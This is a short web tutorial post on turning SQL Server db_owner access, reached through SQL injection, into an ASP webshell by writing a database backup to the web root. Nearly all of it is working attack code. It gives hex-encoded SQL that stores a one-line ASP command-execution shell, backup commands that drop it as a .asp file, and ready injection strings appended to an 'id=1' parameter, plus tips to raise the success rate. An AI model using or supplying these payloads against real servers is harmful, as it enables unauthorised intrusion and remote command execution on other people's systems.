SoFunction
Updated on 2025-04-13

db_owner permission gets webshell my two improvements

Reduce the backup file size and obtain executable webshell success rate, one uses differential backups.
Add a parameter WITH DIFFERENTIAL declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]); 

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) 

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

Second, use complete FORMAT
Add a parameter WITH FORMAT
Some pages need to be executed several times on the database, and the backup defaults to append each time. If an injection point operates on the database several times, the backup files will increase several times. Therefore, declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]); 

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) 

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 

In general, it's just a few simple sentences. Here is an example of backup database model.

id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 

id=1;backup database model to disk='your path' with differential,format;--